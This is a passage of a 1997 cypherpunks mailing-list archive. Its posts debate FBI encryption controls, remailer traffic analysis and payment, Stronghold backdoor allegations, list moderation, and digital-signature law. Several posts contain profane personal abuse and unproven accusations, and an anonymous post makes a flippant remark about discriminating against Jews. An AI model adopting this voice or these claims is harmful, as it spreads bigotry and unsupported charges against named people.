
+Because when you ring the alarm bell on my system
+it is answered by law enforcement and it costs about 
+$10,000 a time to deal with the issue.

+Setting off fire alarms costs real money. 

    my only comment is: "may you have many false alarms."

    waving the big stick of law enforcement as a warning is nothing
    more than a pre-potty trained bully with a bunch of goons to 
    back him up as he stomps around his playpen.

    law enforcement did not deterred the hacks on the state department,
    the FBI, and even the CIA.  I dont advocate the hacks, but it is     
    amusing to watch the great watchdogs of security take a hit.

    with your spoiled brat rantings, you make your site as tempting as 
    some of the other nose tweakers who need a serious attitude adjustment

    in other words, get off your fucking horse, it has a broken leg.
    dont forget to call home, your mums waiting.

        attila out


+Incidentally the security line you are pushing is a crock. To get real
+security I believe you have to have feedback
+and monitoring. This is especially important in an institutional
+setting where you may not have complete control of critical
+infrastructure. For my application simply hoping the guys  with the
+white hats find security holes before those in the  black ones do is
+simply not enough.

+In any case I'm not as complacent as Attila seems to think the security
+model has been amply reviewed by the best
+in the field.

+Threatening to catch the malefactor and put him behind bars is a
+valuable additional security tool. The more bad guys there are behind
+bars the less time I have to spend worrying.

+		Phill

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDSmob04kQrCC2kFAQHc3AP/aHozQ2yGoAV29tBc3E7Jy4afe1qc6IJw
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OQ5j/wh/rqc=
=Ezsh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 16:32:32 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Crypto-continuation in Washington: FBI/DoJ keep up the pressure
In-Reply-To: <v03007804b059bf795b9a@[168.161.105.141]>
Message-ID: <130bbbb.13e6d@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    anyone have any doubt about my "Call to arms against F[reeh,uck]"?

    read what Declan said; the Congresscritters are just regrouping. 

    the man must be stopped: Freeh Fuck wants to make J. Edgar Hoover
    look like a saint, garter belt and all. Hoover looked like the     
    slimeball he was; F[reeh,uck] looks like the Hollywood stereotype of 
    the valiant and honest defender of the American way.

    just wait for the hammer to fall in some rider to a spending bill;
    American legislative morality is pure snake shit amorality.

  --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDSp7704kQrCC2kFAQH5rQQAtRZ58c0ESjzspWgYI2zhJLW8yhDTYRAD
Wa0mPoYVDijwdFLqO5WCqCvIPxAdi0dG67TdYTd5zd07ViFdNJS9fwNEI5M4TPh5
/SXae6MgAzonphYXThyn4QtsF377qZySXNNTpBMXFx50XhPMs/fvYmYRmEVInAQV
VGOIfqCpI0w=
=Gonb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 17:29:21 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: NYTimes Editorial slams F[reeh,uck] and calls on Clinton to stamp it out!
Message-ID: <130bbbb.14ef7@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    The lead editorial, the stated opinion of the paper 
    itself, in this mornings NYTimes slams F[reeh.uck]'s
    initiative as "crossing the line" and that Clinton
    "needs to stamp out a bad idea."

    strong words, newspaper policy editorial, important
    words.  The NYTimes actually has a clue, a strong 
    clue. 

    support the NYTimes!  The NYTimes syndicate feeds
    thousands of the US papers, particularly the small
    town papers and is considered gospel by many.

 http://www.nytimes.com/yr/mo/day/editorial/03fri4.html

 The Clinton Administration has proposed several
 unworkable plans over the years to keep powerful
 encryption programs that scramble telephone and computer
 messages out of the hands of foreign terrorists and
 criminals.  But it has never tried to put the need to
 eavesdrop on criminals above the privacy rights of
 ordinary Americans.  Last month the F.B.I.  Director,
 Louis Freeh, crossed that line by urging Congress to
 outlaw the manufacture and distribution of encryption
 programs the Government cannot instantly crack....
 
 ...The plan is unworkable because uncrackable encryption
 software is readily available abroad.  Congress could
 try to forbid Americans to use any unbreakable
 encryption, regardless of who makes it.  But that would
 trample on rights that Americans jealously protect to
 communicate free of Washington's interference.
 
 The best way to reduce many types of industrial and
 financial crime is to provide citizens powerful
 encryption so they can communicate without fear of
 corporate spies and thieves....  
 ...
 Before encryption controls pick up more momentum, the
 White House needs to stamp out a bad idea.

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8GpInE/Unb6hzFIxjET7a3wbjgt93PrmZjjSwfHCSiUBqUQXYcH0RUpyNF9zl0o8
HD7uS5WgVow=
=7ZNz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 4 Oct 1997 01:00:48 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Stronghold
In-Reply-To: <199710021247.OAA00552@basement.replay.com>
Message-ID: <3.0.3.32.19971003094023.0352ea6c@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 AM 10/2/97 EDT, Dr.Dimitri Vulis KOTM wrote:

>> Amazingly, C2Net doesn't like to see its product publicly slandered 
>> by reptiles like Vulis.  If Vulis' opinion were based on anything
>> other than personal ill will - ie, if he had ever actually downloaded
>> and examined Stronghold and found any problems with it - he would have
>> a leg to stand on.  As it is, his allegations are completely unfounded.
>
>If this were true, then C2Net would encourage me to publicly present whatever
>"evidence" I have so they'd be able to refute it.  This is not what they
>asked me to do.

But it is what you *SHOULD* do.  If you have evidence, then present it.  If
not, then you are just blowing smoke and FUD.

C2Net should have demanded proof instead of getting defensive.  That
worries me, not because of "hidden backdoors", but because it shows lack of
confidence in their own products. But lack of confidence has nothing to do
with actual strength of the product.

>> > Please keep this in mind if you consider buying it.
>> 
>> Keep in mind that anything Vulis says is in all likelihood a complete
>> lie.
>
>Keep in mind that "anonymous" is probably an employee of C2Net.  Several of
>C2Net's shills used to post C2Net propaganda withouy revealing their C2Net
>affiliation; they switched to anonymous remailers when their nyms were
exposed.

Well, I am *NOT* an employee of C2Net.

Put up or shut up.

If you have evidence, then show it.

This "stronghold is weak" rant sounds much like the Creationists on
talk.origins.  They make pronouncements and then expect others to disprove
them.  The real world does not work like that. (I guess they do not teach
the scientific method at any school you have ever attended. Or maybe you
just skipped class...)

I personally think the reason you do not show it is because you do not HAVE
any evidence.  

You have lied about people to justify your petty little hatreds before.
(Accusing people you do not know of child mollestation is an old favorite
of yours.)  This one seems to fall into that category as well.

If you do have evidence and refuse to post it, then you are just helping
C2Net.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 22:46:09 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Traffic Analysis (fwd)
Message-ID: <199710031449.JAA31060@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 03 Oct 1997 05:41:58 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: Traffic Analysis

> At 02:07 AM 10/3/97 -0500, Jim Choate wrote:
> >>  For purposes of argument, we could say that a remailer throws away
> >> messages that violate usage policies.
> >
> >Way too high for commercial use. Get it down to something like .01 and that
> >would be workable I suspect (haven't done the math).
> 
> You may be confusing actual traffic, with valid customer traffic. (BTW -
> the 10% reject figure was totally pulled out of the air.  Since there is no
> logging on a remailer, I'm just making an educated guess.) Almost all
> commercial sendmail implementations reject a large amount of traffic and
> call it "spam filtering".  It's very effective, but the fact is that
> incoming mail traffic is blocked before any program such as a remailer can
> see the messages.  Some of this is done by IP address, some is done through
> other methods.  I'm merely suggesting that a commercial remailer will have
> similar policies.

Duh. Look you picked the numbers and the scenarios, if you got a bitch about
'em talk to yourself...their your ugly baby.

> >Course this raises the
> >issue of who pays for dumped mail on a commercial box. Should the customer
> >pay since it was their action that instigated the drop? Or perhaps the
> >remailer since they were selling a service which they didn't provide at
> >their discretion?
> 
> For usage policies, I would think it is the originating user's fault.

Acceptable.

>  For
> middleman mail rejects, it is the middleman remailer's fault.

So how do we rollback the payments if say the nth hop breaks the delivery?
If I were a user and one of the remailers dropped the traffic I would want
all my money back, I'm paying for delivery to a specific party.

It is clear that the n-1 remailers has no claim to the charges since the
email was not delivered to the recipient. Yet, it is not fair to take their
income simply because some other remailer dropped mail due to a policy
problem, which they clearly didn't have since they delivered the traffic to the
next hop successfuly. Perhaps the remailer with the restrictive hop should
pay the n-1 remailers. This would certainly provide clear financial
incentive for remailers to have liberal fair use policies (which I support
fully) and act as true commen-carries simply doing a job mechanicaly like
the phone system or the network infrastructure itself. The bottem line is
that if commercial anonymous remailers will survive they have to be as
liberal with handling traffic as my routed is.

> For public
> key errors, it is the originating user's fault.

Is it? If this were commercial systems the key server would NOT be on any
remailers involved otherwise we have a prime target for man-in-the-middle
attacks. So, assuming the user gets the key and the remailers get the keys
from a 3rd party server which delivers the incorrect keys for whatever
reason. Who pays for the failure then? To me it looks like the key server,
but they aren't involved in traffic control but key control. While it is
clearly fair to charge them for costs (say 1 remailer hop) incurred due to
bad keys (which could be the original submitters fault), who pays the other
remailers who handle the traffic and loose the income through no fault of
their own?

Also, what happens if the key is good but the software glitches (which is
indistinguishable from a bad key at the source level)? Are you proposing
we re-send for free all along the chain? I don't think the remailers which
succeded will take kindly to that.

If the MTBF for a remailer is n then the MTBF for m remailers is n*m. In
other words the remailer chain gets less reliable as it gets longer.

> >If I understand you the remailer would send outbound traffic to its input
> >for distribution to your subscribers? I don't believe it would factor into
> >the analysis at all if all the source destinations are the same. Outbound
> >traffic from party A that went to party B would be important to track.
>
> Giving an example that overly simplifies things... I think my idea here was
> that for some number of nyms, they would each receive an average of, say,
> five messages each day.  All five messages would be addressed from the
> remailer and PGP encrypted. 

Let me say it again, traffic analysis doesn't look at the contents,
cryptanalysis does. Whether the contents are encrypted or not is irrelevant.
The word 'encrypted' NEVER occurs in traffic analysis. You encrypt the
contents because it is assumed that the network analysis has already
succeeded.

Ok, so the recipient has no way to reply to specific parties unless the
contents contain the source address in a source encrypted block. In such a
case Mallet is going to look at the recipient and begin traffic analysis on
them. Which Mallet is going to do as soon as they either submit or recieve
traffic from that node anyway. Seems moot. An effective Mallet collects
statistics on all participants indiscrimenantly.

This is another example of the apparently unrecognized and implicit
assumption that Mallet is only going to look at one party in the chain.
Bad assumption. Traffic analysis will succeed ONLY if the *network* is
analyzed, not some specific node in that network.

This sounds like a message pool where a recipient must attempt decode on
every packet they recieve. The ones not meant for them fail. I don't believe
this is a commercialy viable process because of the amount of work on the
recipients machine.

I have a further question. The cover traffic that shows up in the recipients
mailbox unrequested is spam isn't it? Also, when the recipient uncovers the
last block is it going to say "This space intentionaly left blank"? Or can
users of your remailer expect to recieve email full of hex gibberish they
can't decode since they don't have a key? My suspicion is that if you are
sending cover traffic to anything other than a /dev/null recipient
with an a priori agreement you are not going to keep your users long.

> Four of the messages would be from real people
> trying to communicate with the owner of the nym.  One would be a bogus
> message sent to confuse traffic analysis.

Turn those numbers around and you might manage to cover the traffic.
The cover traffic MUST be greater than the 'real' traffic to be effective.
My suspicion based on about 4 months of playing with MixMaster 1.5 years ago
is that this ratio must be several orders of magnitude unless your traffic
is measured in the millions+ of transactions per day.

>  All four real messages would
> come into the remailer encrypted to the remailer and addressed to the
> remailer.  My thought was that fake outgoing messages to the nym would look
> identical to real messages, thereby helping obscure the "mix" just a little
> better.  This helps hide the identity of the sender of the email that is
> headed to a nym.

All the outgoing traffic better look the 'same' it's nothing but a standard
TCP/IP routing header and the contents (which we never look at). The
remailer software is irrelevant on this issue. Traffic analysis relies on
the stability of the protocols and their source & destination info not what
they are used for.

As for the rest of it, take the equation I gave in a previous email and feed
it into a spreadsheet. Develop the equations that define the network using
the same sort of structures and proceedures you use for a travelling
salesman problem (check a local library). If you're asking me to do that
work then I need money, I'll talk about work for free - I don't do work
for free.

> email.  The remailer keeps this info in an internal database (as it must)
> and is not available to anyone other than the remailer software.

The remailer only needs records of transactions while a transaction remains
un-committed. The only long term record it should keep is the number of
transactions processed and how much money is currently on the books.

The records are not available unless somebody cracks the box and begins to
tool around the OS ... Mallet is pretty sneaky he reads CERT and collects
hacker software too. If your remailer is keeping records of transactions
after the transactions close you are not secure. You are actualy providing
further incentive to Mallet.
 
> Having just spent a year and a half involved in a federal court case over
> the 1st amendment right to anonymity on the net, and winning, I'd have to
> disagree with you here.  Our affidavit specifically mentioned remailers,
> among other things.

Just exactly where is anonymity mentioned in the 1st? And since it clearly
is not how do you extend:

 
				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 

 

Is your claim that the remailer is a press? (I rhetoricaly bet not) If so
then every computer irrespective of use is a press and protected. Are you
going to follow this line in future cases?

Or is your argument that the traffic is speech and therefore the carrier of
the traffic is immune to prosecution? If so you may have some problems in
the future when the judges and prosecutors get a better clue. Because the
1st's speech clause protects the source of speech not the carrier - that's why
the founding fathers specificaly mention freedom of the press - to extend
that protection to the carrier. Or did you use the commen-carrier approach?

My money is that you used the second line of reasoning which means you can
expect it to be over-turned in the coming years. Unless somebody manages to
get a court to recognize computers as presses and extend those protections
fully or networked computers (not the applications they are put to) in
general as commen-carrier the battle isn't over.

Now if you throw the 9th and 10th in there (which I further rhetoricaly bet
you didn't) you got a winning combo.

Rhetorical question: do you realize that all networked computers are
                     remailers at the routed level? Did you extend your
                     argument thusly?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 3 Oct 1997 22:03:16 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Stronghold
In-Reply-To: <RqRyDe2w165w@bwalk.dm.com>
Message-ID: <199710031359.JAA17350@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM writes:
> 
> Lucky Green <shamrock@cypherpunks.to> writes:

> > Where do people get these bizarre ideas? C2 didn't censor the list. A guy
> > who happened to work for C2 dropped some messages from one list. The
> > messages still went out on the unfiltered list. 

> Lucky is lying: the censored articles were also filtered from the list which
> was billed as being unfiltered.

This is revisionist history.  I can't recall any intimation at the
time that any messages were filtered from the unfiltered list.

Obviously I can't say whether _all_ the censored articles came out 
on the unfiltered list.  But I do know that I received at least one 
message from Vulis with an unsubstantiated allegation [of a secret 
backdoor, I think?] in Stronghold on the unfiltered list, as well as
some later complaints from Vulis that Sandy's filtering was unfair
and hypocritical.  Unfortunately I didn't save the original message--
I just wrote it off as the typical Vulis spew.



-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 4 Oct 1997 11:38:46 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: commercial remailers and anonymous customers
In-Reply-To: <199710030225.VAA28934@einstein.ssz.com>
Message-ID: <3.0.3.32.19971003103708.0069ee68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> When all your customers are anonymous, you don't get to be very choosy.

Sameer's C2.Net used to be an ISP business, providing privacy services,
and he found that enough of his anonymous customers were problem customers
that it was a real pain to support.  Similarly, remailer operators often
spend a lot of time dealing with spammers and harassers.  (An important part
of the job is maintaining blocking lists of people who don't want mail.)

However, you can keep track of your anonymous customers - have them use
pseudonyms, e.g. PGP signatures maintaing a consistent identity even though
you don't know the True Name of the customer or whether one customer 
is using multiple pseudonyms, and if you kill off one customer you can't
be sure they won't come back with a new pseudonym.


>Like I said, I offer specific services with specific goals for a specific
>fee. If the results are not what you wanted, too bad. You want my other
>services then you'll have to give up the anonymity because I need a certain
>level of security that dealing with anonymous customers simply can't provide.

For the most part, that security involves three aspects
- making sure you get paid (so make anonymous customers pay in advance)
- keeping one customer from cracking into your system and your other customers'
	(internal firewalls help; may be more work/money than it's worth.)
- not having cops raiding you or angry global villagers with flamethrowers showing up.

Besides, lots of people deal with anonymous customers every day;
they don't call themselves John Doe, they call themselves Foo Corporation
and operate from 1234 Main St. Suite 67, which is a mailbox...




				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 4 Oct 1997 11:50:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <v03102800b0598ddcabfc@[207.167.93.63]>
Message-ID: <3.0.3.32.19971003104332.0069ee68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:33 AM 10/02/1997 -0700, you wrote:
>Thanks, all, for the suggestions. Unfortunately my time is limited: my
>deadline is tonight. I'm working on a roundup of pre-reported
>cases, not reporting out new ones. (at least for this project)
>
>My best source so far is the 1976 Church Committee documents. Gentry's bio
>of J. Edgar Hoover is a good one too. Burnham lent me a copy of his "Above
>the Law" book about the DoJ which I haven't finished yet. Haven't read
>Puzzle Palace in a while, probably don't have time to reread that.

Another good book, not that you'll be able to find it by last night, is
"L.A. Secret Police", which was an expose' of the Darryl Gates LAPD's
shadier activities.  It's a bit sensationalist, but adds some local-police
balance to the usual Federal cases.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 3 Oct 1997 23:04:00 +0800
To: cypherpunks@cyberpass.net
Subject: Crowds as an anonymous remailer
In-Reply-To: <v0311075ab05978fb0222@[139.167.130.248]>
Message-ID: <Pine.LNX.3.95.971003103858.27289E-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain




On the subject of Crowds
(<http://www.wired.com/news/news/technology/story/7331.html>), a distributed
system for anonymous Web browsing, I was wondering if anyone knew of any
attempts or efforts to create a decentralized remailer network in the same
manner -- can such a thing be done, and be useful?

Such a system might work quite like Crowds (or could even be a subset of
Crowds itself, or based on it, as the source is available), with a small
"jondo" program running on each host in the remailer network. To send an
anonymous message you must be running a jondo, hence you are part of the
network. The jondo takes your message, encrypts and randomly forwards it to
any jondo in the network, which then either re-forwards it to another jondo
or its final destination.

There is no way for the recipient to know who the original sender was other
than that sender was part of the crowd running the jondos, and there is no
central remailer machine to target since the "remailer" consists of a
network of machines running these jondos. As members increase, the network
performance as well as the degree of anonymity increases (imagine, for
instance, if such a program came with Linux as a standard part of the OS).


m

email stutz@dsl.org  Copyright (c) 1997 Michael Stutz; this information is
<http://dsl.org/m/>  free and may be reproduced under GNU GPL, and as long
                     as this sentence remains; it comes with absolutely NO
		     WARRANTY; for details see <http://dsl.org/copyleft/>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 4 Oct 1997 11:47:59 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Traffic Analysis
In-Reply-To: <3.0.3.32.19971002232810.03514efc@rboc.net>
Message-ID: <3.0.3.32.19971003111250.0069ee68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:28 PM 10/02/1997 -0400, you wrote:
>On the other side, if Cracker were to send out more messages that it takes
>in, or just replace these thrown away messages with random noise messages,
>perhaps encrypted, would this foil traffic analysis?

All those things help, but Eric Hughes and Raph Levien are doing some work
that looks like it's possible to do traffic analysis as long as you can
tell when messages begin and end.  I don't know if their analysis depends on
the fact that messages get smaller as they go through the remailer chain,
or whether it will also affect Mixmaster-style remailers, which split their
messages into constant-sized blocks and mix blocks from different messages.

Some things that could be done include having each remailer add 
random-sized padding and re-encrypting before sending to another remailer,
but once you get into that level of work it probably makes sense just to
switch to Mixmaster for most uses.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 4 Oct 1997 00:31:14 +0800
To: cypherpunks@cyberpass.net
Subject: legal question of DSA-based signatures?
Message-ID: <7d2e0ce68df7b504bbaa2caf842eb8f4@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I have before me a statement made by Information Security Corp.:

"The Comptroller General has ruled that, for the purposes of electronic
commerce, DSA-based digital signatures are as legally binding as hand-
written signatures."

Can anyone verify this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 3 Oct 1997 18:44:04 +0800
To: cypherpunks@toad.com
Subject: Low blow (but a *good* one!)
Message-ID: <199710031022.MAA22951@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alex Le Heux wrote:
Anonymous <anon@anon.efga.org> wrote:
>Let's also take a look at the Dutch performance during their 
>occupation. While there certainly were many courageous Dutch people
>who helped refugees (at great personal risk, to say the least), and
>there were many courageous Dutch people who were in the resistance, 
>there were also many Dutch people who did not perform so well. Not
>only were a large number of Jewish people turned in by Dutch 
>informers, but there were even Dutch SS units.

You have a nerve. You, coming from a country where people are still
regularly killed in the name of racism, tell me this?!
Alex
------------
The Same Old Guy replied:

Want the cold, hard facts of life, Bubba?
You didn't put WWII 'behind' you. We did!
Gun-loving Americans conquered your continent and gave you your
countries back instead of enslaving you, like every other winner in
history has done.

*** Certified Low Blow ***
Some of us discriminate against Jews. Do you know why? 
Because we HAVE some!
*** Certified Low Blow ***

We were giving them refuge while Europe was massacring them by the
millions. Now you have the balls to say we're not all treating them
right all of the time.
Buy a fucking clue!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 4 Oct 1997 02:25:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: legal question of DSA-based signatures?
In-Reply-To: <7d2e0ce68df7b504bbaa2caf842eb8f4@anon.efga.org>
Message-ID: <3.0.3.32.19971003133109.03358310@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:17 PM 10/3/97 -0400, Anonymous wrote:
>I have before me a statement made by Information Security Corp.:
>
>"The Comptroller General has ruled that, for the purposes of electronic
>commerce, DSA-based digital signatures are as legally binding as hand-
>written signatures."
>
>Can anyone verify this?

My first thought is.. which country are you talking about?

The question is a complex one.  The first question is, what is meant by a
signature?  Courts have rules that valid signatures include and "X",
spitting on the document, and signing "Mickey Mouse" (an actual case).
Even a "/s" at the end of a document would constitute a signature.  

The second question is of more concern.  Signatures are linked in law to
"writings."  In order to consider a digital signature, you must first
define the concept of a "writing."  Is electronic mail or an electronic
document a writing?  Is a facsimile copy a writing?  Recently, a US based
state level supreme court ruled that faxes were not writings, but rather
were "beeps and chirps".  Since faxes are not writings, a faxed signature
was ruled to not be a valid signature anywhere within the state.

This is a problem that digital signature law must consider.  How to make an
electronic document a writing.  Currently states are doing so by passing
laws that explicitly define electronic documents as writings.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 4 Oct 1997 02:05:25 +0800
To: cypherpunks@toad.com
Subject: Netly News special report: "The Privacy Snatchers"
Message-ID: <v03007804b05adf24f7ea@[204.254.21.103]>
MIME-Version: 1.0
Content-Type: text/plain



Recently the FBI has started to demand a creepy new anti-privacy
law. It requires that all future technologies -- from cell
phones to WordPerfect -- include a kind of electronic peephole
to let law enforcement agents snoop through your private files
and communications without your knowledge or permission. One
House committee has already approved the FBI's bill.

Such easy access is the fantasy of every unethical policeman and
corrupt bureaucrat. Now, the police say they'll never peek
through this peephole without a judge's approval. But history
reveals that time and again, the FBI, the military and other law
enforcement organizations have ignored the law and spied on
Americans illegally, without court authorization. Government
agencies have subjected hundreds of thousands of law-abiding
Americans to unjust surveillance, illegal wiretaps and
warrantless searches. Eleanor Roosevelt, Martin Luther King,
feminists, gay rights leaders and Catholic priests were spied on.
Even Supreme Court justices were monitored. Can we trust the FBI?

Visit the Netly News for a special report on The Privacy Snatchers:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1466,00.html

-Declan


------

http://cgi.pathfinder.com/netly/opinion/0,1042,1466,00.html
The Netly News (http://netlynews.com/)
October 3, 1997
The Privacy Snatchers
By Declan McCullagh (declan@well.com)

------



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 4 Oct 1997 02:13:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <7b12b2df380aa9e3ba09439e3676b9b1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Jeff Barber <jeffb@issl.atl.hp.com> writes:
> This is revisionist history.  I can't recall any intimation at the
> time that any messages were filtered from the unfiltered list.

There were three lists.  The unfiltered list did not go through the
moderator's hands in any way and continued to received all messages
(which is how unfiltered subscribers found out about the problem).
The filtered list had the posts approved by the moderated.  Then there
was supposed to be a "flames" list where the moderator sent posts he
had rejected.  In theory, the moderated+flames lists should have the
same contents as the unfiltered list.  Here is the original statement
by the moderator laying out his policy:

> 3)  Cypherpunks who wish to read all posts to the list may do so
> by taking advantage of either of two optional lists.  The first
> (cypherpunk-flames@toad.com), will consist solely of messages
> expurgated from the main Cypherpunks list.  (Those who subscribe
> to "flames" will be able to easily monitor my moderating
> decisions.)  The second (cypherpunks-unedited@toad.com), will
> contain all posts sent to Cypherpunks.  It will be the equivalent
> of the current open, unmoderated list.  It will appeal to those
> who don't want list moderation.
> 
> 6)  Because every message submitted to Cypherpunk will be posted 
> to two of the three sister lists, I don't intend to lose much
> sleep over whether or not this or that moderating decision was
> perfect.  I will do the best job I can, within the constraints
> listed here.  If I err, it isn't fatal.  Everyone who wants one
> will have two Cypherpunk venues for their posts.  Sounds fair
> enough to me.  What do you think?

Here is a message from a pseudonymous poster laying out what actually
happened.  Many list members may not have seen this message, unless they
were subscribed to the unfiltered list.

> Well, as it turns out, a number of messages have made it neither to
> cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
> not only are certain messages being suppressed from both lists, but
> even messages mentioning that fact get suppressed from both the
> cypherpunks and the cypherpunks-flames lists!

and here is a letter to him from the moderator, confirming this fact:

> Hi,
> 
> On 7 Feb 1997, Against Moderation wrote:
> 
> > What I object to more strongly and think is wrong is the
> > fact that it went to *neither* list.
> 
> Unfortunately, it's not as simple as that.  As soon as I can
> arrange it with John, I am going to stop moderating the list.
> In the interim, I *will not* be sending your post onto either
> the Flames or the Moderated lists.  This is done for legal 
> reason.  As it is, you have already published a libel on the
> unedited list by repeating Dimitri's libel.  This exposes you to
> legal liability, but as an anonymous poster, you are somewhat
> insulated from the consequences of your act.

In sum, no messages were filtered from the unfiltered list, which
is how cypherpunks who avoided moderation learned of the situation.
The messages were eliminated from the regular (moderated) list, but they
were not sent to the "flames" list, contrary to the stated policies.
No hint was given to the subscribers to the moderated list, which was
the majority, that this was being done.  Messages referring to these
facts were also filtered.  A sad episode indeed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: netpecker@freemanchester.com
Date: Mon, 6 Oct 1997 11:47:41 +0800
To: cypherpunks@toad.com
Subject: Internet Kiosk New Revenue For ISP
Message-ID: <199710031854.OAA03281@eclipse.freemanchester.com>
MIME-Version: 1.0
Content-Type: text/plain



Attention Internet Service Provides. NetPecker Inc. is now making 
a limited time offering for distributors of following equipment
NetPecker VM4100 a free standing Internet terminal / kiosk ideal for shopping
malls, hotel lobbies, restaurants, etc. Advertise your Internet service and 
collect cash at the same time. Cash and informational terminal / kiosk now
available.
Purchase lease options. Retail starting price $4995.00.
Benefits: New revenues, leverage your infrastructure, increased name
recognition.  
For more information visit: http://www.netpecker.com
or return e-mail: ispinfo@netpecker.com  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
